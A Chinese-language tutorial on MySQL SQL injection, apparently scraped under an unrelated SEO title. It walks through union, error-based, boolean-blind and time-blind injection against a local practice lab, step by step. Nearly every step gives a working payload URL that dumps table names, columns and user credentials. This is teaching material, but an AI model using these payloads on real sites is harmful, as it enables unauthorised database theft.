西昌網(wǎng)站制作杭州網(wǎng)站優(yōu)化效果
文章目錄
- 一、MYSQL數(shù)據(jù)庫常用函數(shù)
- 二、MYSQL默認的4個系統(tǒng)數(shù)據(jù)庫以及重點庫和表
- 三、判斷數(shù)據(jù)庫類型
- 四、聯(lián)合查詢注入
- 1、具體步驟(靶場演示):
- 1)首先判斷注入點
- 2)判斷是數(shù)字型還是字符型
- 3)要判斷注入點的列數(shù)
- 4)獲取數(shù)據(jù)庫在網(wǎng)頁中的顯示位
- 5)構造POC查詢用戶名和數(shù)據(jù)庫名
- 6)查庫的所有表名
- 7)查出特定表的所有字段名
- 8)查詢users這個表的所有數(shù)據(jù)
- 9)使用另一種方式查看數(shù)據(jù)
- 五、報錯注入
- 1、MYSQL常用使用的報錯函數(shù):
- 1)floor( )
- 2)extractvalue( )
- 3)updatexml( )
- 4)geometrycollection( )
- 5)multipoint( )
- 6)polygon( )
- 7)multipolygon( )
- 8)linestring( )
- 9)multilinestring()
- 10)exp( )
- 11)gtid_subset( )
- 2、報錯注入步驟(靶場演示)
- 1)確定數(shù)據(jù)庫出錯會在頁面上顯示
- 2)尋找注入點(參考聯(lián)合注入)
- 3)判斷是數(shù)字型還是字符型(參考聯(lián)合注入)
- 4)使用報錯函數(shù),構造輪子
- 5)獲取數(shù)據(jù)庫名和用戶名
- 6)獲取所有的表名
- 7)獲取特定表的字段名(參考聯(lián)合注入)
- 8)獲取特定表的數(shù)據(jù)(參考聯(lián)合注入)
- 3、報錯注入有字符串長度限制
- 六、盲注
- 1、布爾類型盲注
- 2、布爾盲注注入步驟:
- 1)找到注入點(參考聯(lián)合注入)
- 2)構造輪子
- 3)獲取當前用戶名和數(shù)據(jù)庫名長度
- 4)獲取當前用戶名和數(shù)據(jù)庫名
- 5)獲取當前數(shù)據(jù)庫所有的表名的長度
- 6)獲取當前數(shù)據(jù)庫所有的表名的名字
- 7)獲取users表的所有字段名總長度
- 8)獲取users表的所有字段名名字
- 9)獲取users表的所有數(shù)據(jù)每一行的總長度
- 10)獲取users表的目的數(shù)據(jù)
- 3、時間盲注
- 4、時間盲注注入步驟:
- 1)尋找注入點(參考聯(lián)合注入)
- 2)判斷是數(shù)字型還是字符型(參考聯(lián)合注入)
- 3)測試sleep函數(shù)有沒有被過濾,是否會被執(zhí)行
- 4)獲取當前用戶名和數(shù)據(jù)庫長度
- 5)獲取當前用戶名和數(shù)據(jù)庫名
- 6)獲取當前數(shù)據(jù)庫所有的表名的總字符串長度(參考布爾盲注)
- 7)獲取當前數(shù)據(jù)庫所有的表名(參考布爾盲注)
- 8)獲取users表的所有字段名的總字符串長度(參考布爾盲注)
- 9)獲取users表的所有字段名(參考布爾盲注)
- 10)獲取users表的目的數(shù)據(jù)(參考布爾盲注)
一、MYSQL數(shù)據(jù)庫常用函數(shù)
二、MYSQL默認的4個系統(tǒng)數(shù)據(jù)庫以及重點庫和表
重點庫:information_schema
三、判斷數(shù)據(jù)庫類型
PHP的網(wǎng)站,常用數(shù)據(jù)庫為MYSQL、PostgreSQL
判斷數(shù)據(jù)庫類型:
- MYSQL:3306
- PostgreSQL:5432
- MSSQL:1433
四、聯(lián)合查詢注入
使用場景:數(shù)據(jù)庫在頁面中存在顯示位。
UNION操作符
用于連接兩個以上的SELECT語句的結果組合到一個結果集合中。前提是兩個select必有相同列
。
1、具體步驟(靶場演示):
1)首先判斷注入點
如下:
這里就可以確定注入點是在id這個位置
2)判斷是數(shù)字型還是字符型
使用1/1和1/0方式來進行測試
1/1和1/0都不報錯,也就是說沒有反應,說明不是數(shù)字型
。
直接添加1個單引號和2個單引號測試
1個單引號發(fā)生報錯,2個單引號不報錯,說明這是字符型
。
3)要判斷注入點的列數(shù)
使用order by;order by 是用來排序的。假如order by 3不報錯,order by
4發(fā)生報錯,這就說明該表只有3列。
如下:
使用的POC:
http://localhost/Less-1/?id=1' order by 4--+
對應的SQL語句:
select * from 表名(未知) where
order by 4
;
#讓他報錯
4)獲取數(shù)據(jù)庫在網(wǎng)頁中的顯示位
知道列數(shù)后,就需要獲取數(shù)據(jù)庫在網(wǎng)頁中的顯示位
(就是顯示在網(wǎng)頁上的字段),可以使用union來拼接錯誤查詢和自我構造的select語句。
如下:
http://localhost/Less-1/?id=1
對應的SQL語句:
select * from 表名(未知) where id=1;
此處頁面上顯示:
Your Login name: Dumb
Your Password: Dumb
http://localhost/Less-1/?id=2
對應的SQL語句:
select * from 表名(未知) where id=2;
頁面上顯示:
Your Login name: Angelina
Your Password: I-kill-you
構造錯誤的select查詢字段,例如把id=1改成id=-1
使用的POC:
http://localhost/ Less-1/?id=-1' union select 1,2,3 --+
對應的SQL語句:
select * from 表名(未知) where id=
-1 union select 1,2,3
;
頁面上顯示:
Your Login name: 2
Your Password: 3
這樣子就知道顯示位
是數(shù)據(jù)表的第2列和第3列了。
5)構造POC查詢用戶名和數(shù)據(jù)庫名
在顯示位上構造要查詢的函數(shù),例如當前用戶名和數(shù)據(jù)庫名
構造POC:
http://localhost/ Less-1/?id=-1'
union select 1,user(),database()--+
對應的SQL語句:
select * from 表名(未知) where id=
-1 union select 1,user(),database()
;
頁面上顯示:
Your Login name: root@localhost
Your Password: security
這樣我就知道當前數(shù)據(jù)庫的用戶名和數(shù)據(jù)庫名了。
6)查庫的所有表名
使用的POC:
http://localhost/ Less-1/?id=-1' union
select 1,2, table_name from information_schema.tables where table_schema='security'--+
對應的SQL語句:
select * from 表名(未知) where id=-1 union select 1,2,
table_name from information_schema.tables where table_schema='security'
;
上面就只會輸出第一個表名字email,而不會輸出全部的表名
輸出所有的表名,使用group_concat()函數(shù)
來拼接輸出
使用的POC:
http://localhost/ Less-1/?id=-1'
union select 1,2, group_concat(table_name) from information_schema.tables where table_schema='security'--+
對應的SQL語句:
select * from 表名(未知) where
id=-1
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
;
這樣就知道security這個數(shù)據(jù)庫里面所有的表名字:emails,referers,uagents,users
7)查出特定表的所有字段名
使用的POC:
http://localhost/ Less-1/?id=-1' union
select 1,2, group_concat(column_name) from information_schema.columns where table_schema='security'--+
對應的SQL語句:
select * from 表名(未知) where
id=-1
union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security'
;
現(xiàn)在這里就輸出了security這個數(shù)據(jù)庫里面所有表的所有字段名稱
現(xiàn)在又有另一個問題了,就是我只想知道敏感數(shù)據(jù)表的字段名,例如users這個表里面的字段名,這時候就要:
使用的POC:
http://localhost/ Less-1/?id=-1' union
select 1,2, group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
對應的SQL語句:
select * from 表名(未知) where id=-1 union select 1,2,
group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'
;
現(xiàn)在這樣子就知道了users這個表的所有字段名,假設知道了字段是:id,username,password
8)查詢users這個表的所有數(shù)據(jù)
使用的POC:
http:// localhost/ Less-1/?id=-1’ union select 1,group_concat(username), group_concat(password) from users--+
對應的SQL語句:
select * from users where id=-1 union select 1,
group_concat(username), group_concat(password) from users
;
這樣就把所有的學生名和密碼都查出了,同時也知道了顯示位顯示的表就是users表
美化一下:
使用的POC:
http:// localhost/ Less-1/?id=-1’ union select 1,2, group_concat(username,'^',password) from users--+
對應的SQL語句:
select * from users where id=-1 union select 1,2,
group_concat(username,'^',password) from users
;
9)使用另一種方式查看數(shù)據(jù)
也可以不使用group_concat()函數(shù),使用concat()+limit
的方式來查看表的數(shù)據(jù)。
使用的POC:
http:// localhost/ Less-1/?id=-1’ union select 1,2,group_concat(username,'^',password) from users limit 0,1--+
對應的SQL語句:
select * from users where id=-1 union select 1,2,
group_concat(username,'^',password) from users limit 0,1
;
這樣子就可以一條一條來看。
五、報錯注入
使用場景:數(shù)據(jù)庫錯誤提示會在頁面上顯示。
1、MYSQL常用使用的報錯函數(shù):
1)floor( )
常用注入語法格式:
select * from test where id=1 and (select 1 from (select count(*),concat(user(),
floor
(rand(0)*2)) x from information_schema.tables group by x) a);
2)extractvalue( )
extractvalue(xml_frag, xpath_expr)
從一個使用xpath語法的xml字符串中提取一個值。
xml_frag:xml文檔對象的名稱,是一個string類型。
xpath_expr:使用xpath語法格式的路徑。
若xpath_expr參數(shù)不符合xpath格式,就會報錯
。而~ 符號(ascii編碼值:0x7e)
是不存在xpath格式中的, 所以一旦在xpath_expr參數(shù)中使用~符號,就會報錯。
常用注入語法格式:
select * from test where id=1 and (
extractvalue
(1,concat(0x7e
,(select user()),0x7e
),1));
3)updatexml( )
常用注入語法格式:
select * form test where id=1 and (
updatexml
(1,concat(0x7e
,(select user())),1));
4)geometrycollection( )
常用注入語法格式:
select * from test where id=1 and
geometrycollection
((select * from(select user())a)b));
5)multipoint( )
常用注入語法格式:
select * from test where id=1 and
multipoint
((select * from(select user())a)b));
6)polygon( )
常用注入語法格式:
select * from test where id=1 and
polygon
((select * from(select user())a)b));
7)multipolygon( )
常用注入語法格式:
select * from test where id=1 and
multipolygon
((select * from(select user())a)b));
8)linestring( )
常用注入語法格式:
select * from test where id=1 and
linestring
((select * from(select user())a)b));
9)multilinestring()
常用注入語法格式:
select * from test where id=1 and
multilinestring
((select * from(select user())a)b));
10)exp( )
常用注入語法格式:
select * from test where id=1 and
exp
(~(select * from(select user())a));
11)gtid_subset( )
常用注入語法格式:
select
gtid_subset
(user(),1);
2、報錯注入步驟(靶場演示)
1)確定數(shù)據(jù)庫出錯會在頁面上顯示
2)尋找注入點(參考聯(lián)合注入)
3)判斷是數(shù)字型還是字符型(參考聯(lián)合注入)
4)使用報錯函數(shù),構造輪子
這里就使用updatexml()函數(shù)
,這個函數(shù)第二個參數(shù)要是有特殊字符是會報錯的,這里0x7e是“~”的URL編碼。
使用的POC:
http://localhost/ Less-1/?id=1' and updatexml(1,0x7e,1)--+
對應的SQL語句:
select * from users where id=1 and
updatexml(1,0x7e,1)
;
5)獲取數(shù)據(jù)庫名和用戶名
使用的POC:
http://localhost/ Less-1/?id=1' and updatexml(1,concat(0x7e,database()),1)--+
對應的SQL語句:
select * from users where id=1 and
updatexml(1,concat(0x7e,database()),1)
;
6)獲取所有的表名
使用的POC:
http://localhost/ Less-1/?id=1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'))
,1)–+
對應的SQL語句:
select * from users where id=1 and updatexml(1,
concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'))
,1);
7)獲取特定表的字段名(參考聯(lián)合注入)
8)獲取特定表的數(shù)據(jù)(參考聯(lián)合注入)
3、報錯注入有字符串長度限制
報錯注入常用的函數(shù)通常會有字符串長度限制,其最長輸出32位
。如果直接使用group_concat()函數(shù)會輸出不全。
舉例:
使用的POC:
http://localhost/Less-1/?id=1’ and updatexml(1,concat(0x7e,(select group_concat(username,'^',password) from users))
,1) --+
這樣子只能輸出32個字符串長度的內(nèi)容,無法輸出全;
這時候就要使用limit來進行操作,來進行一個一個的輸出:
使用的POC:
http://localhost/Less-1/?id=1’ and updatexml(1,concat
(0x7e,(select concat(username,‘^’,password) from users limit 0,1
)),1) --+
六、盲注
1、布爾類型盲注
使用場景:頁面沒有顯示位,數(shù)據(jù)庫查詢出錯也不會在頁面上顯示,只會有查詢正確和查詢錯誤兩種頁面提示,例如下面這種情況:
正常,為true
添加1個單引號,為false
添加2個單引號,為true
2、布爾盲注注入步驟:
1)找到注入點(參考聯(lián)合注入)
2)構造輪子
使用的POC:
http://localhost/Less-8/?id=1' and 1=if(1=1,1,0)--+
使用的POC:
http://localhost/Less-8/?id=1' and 1=if(1=2,1,0)--+
3)獲取當前用戶名和數(shù)據(jù)庫名長度
使用的POC:
http://localhost/Less-8/?id=1' and 1= if(length(user())=8,1,0)--+
接著可以使用BP爆破長度
這樣子就猜出用戶名字符串長度是14。使用同樣方法可以得出當前數(shù)據(jù)庫名的長度是8。
4)獲取當前用戶名和數(shù)據(jù)庫名
方法一:
http://localhost/Less-8/?id=1' and 1=if(mid(user(),1,1)='q',1,0)--+
同樣可以使用BP爆破
爆破兩個payload
第一個爆破位置,只使用數(shù)字
第二個爆破字符,就把英文字母+數(shù)字+特殊符號添加進去,注意服務器是否有大小寫區(qū)分。
這樣就爆破出來了,就得出當前用戶名是:root@localhost。同樣方法可以獲取到當前數(shù)據(jù)庫名是:security
方法二:
當截取函數(shù)是被禁用,無法使用,那么就使用like+‘_’
舉例上面我已經(jīng)知道當前用戶名的字符串長度是14,需要獲取到用戶名的名字
使用的POC:
http://localhost/Less-8/?id=1' and 1= if(user()+like+'______________',1,0)--+
這里的返回值是ture。因為正則里面下劃線”_”是可以代表任意字符的。
這樣子,我們就可以使用BP逐位逐位地進行爆破,從而獲取到對應的用戶名名字。
5)獲取當前數(shù)據(jù)庫所有的表名的長度
構造POC:
http://localhost/Less-8/?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=10--+
使用BP爆破
這里就獲得長度是29位。
6)獲取當前數(shù)據(jù)庫所有的表名的名字
構造POC:
http://localhost/Less-8/?id=1' and mid((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)='a'--+
使用BP進行爆破
上述第一個payload知道是29位,字典就選到29
第二個payload的字典就把英文字母+數(shù)字+特殊符號添加進去,注意服務器是否有大小寫區(qū)分。
好了這樣就知道所有的表名字是:emails,referers,uagents,users
7)獲取users表的所有字段名總長度
構造POC:
http://localhost/Less-8/?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))=10--+
同樣BP爆破
這樣子就知道了users表的字段名總字符串長度是20
8)獲取users表的所有字段名名字
構造POC:
http://localhost/Less-8/?id=1' and mid((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1)='a' --+
同樣使用BP爆破
這里就獲得users表的字段名稱是:id,username,password
9)獲取users表的所有數(shù)據(jù)每一行的總長度
構造POC:
http://localhost/Less-8/?id=1' and length((select concat(username,'^',password) from users limit 0,1))=10--+
開始使用BP爆破
這樣子就知道該表一共有13行,并且每行concat拼接后對應的字符串長度。
10)獲取users表的目的數(shù)據(jù)
由于上面已經(jīng)知道該表的字段名、數(shù)據(jù)行數(shù)、每行拼接后的總字符串長度,那么就可以逐行地進行爆破。
使用的POC:
http://localhost/Less-8/?id=1' and mid((select concat(username,'^',password) from users limit 0,1),1,1)='a' --+
具體BP爆破就不多說了,操作差不多。
3、時間盲注
頁面返回值只有一種:true。無論輸入任何值,返回情況都會按正常的來處理。加入特定的時間函數(shù)(sleep
),通過查看web頁面返回的時間差
來判斷注入的語句是否正確。
例如下面這種情況:
4、時間盲注注入步驟:
1)尋找注入點(參考聯(lián)合注入)
2)判斷是數(shù)字型還是字符型(參考聯(lián)合注入)
3)測試sleep函數(shù)有沒有被過濾,是否會被執(zhí)行
sleep(1)相應時間時13158毫秒
sleep(0)相應時間時16毫秒
這里就說明sleep()函數(shù)會被執(zhí)行
4)獲取當前用戶名和數(shù)據(jù)庫長度
使用的POC:
http://localhost/Less-48/?sort=1 and if(length(user())=10,sleep(1),1)--+
這里就是假如猜測的長度爭取,就會執(zhí)行sleep(1)。
使用BP爆破
下面需要勾選響應時間
多了一列選項,由于正確就會執(zhí)行sleep(1),所以相應時間最長的那一個就是正確的結果,這里就是14。同理爆破數(shù)據(jù)庫名長度是8。
5)獲取當前用戶名和數(shù)據(jù)庫名
http://localhost/Less-48/?sort=1 and if(mid(user(),1,1)='a',sleep(1),1)--+
接著使用BP爆破
第二個爆破payload字典,注意把英文字母+數(shù)字+特殊符號添加進去,注意服務器是否有大小寫區(qū)分。
這里就能看出來爆破出來的用戶名按照順序排列是:root@localhost;同理使用同樣的方法爆破獲得數(shù)據(jù)庫名是:security。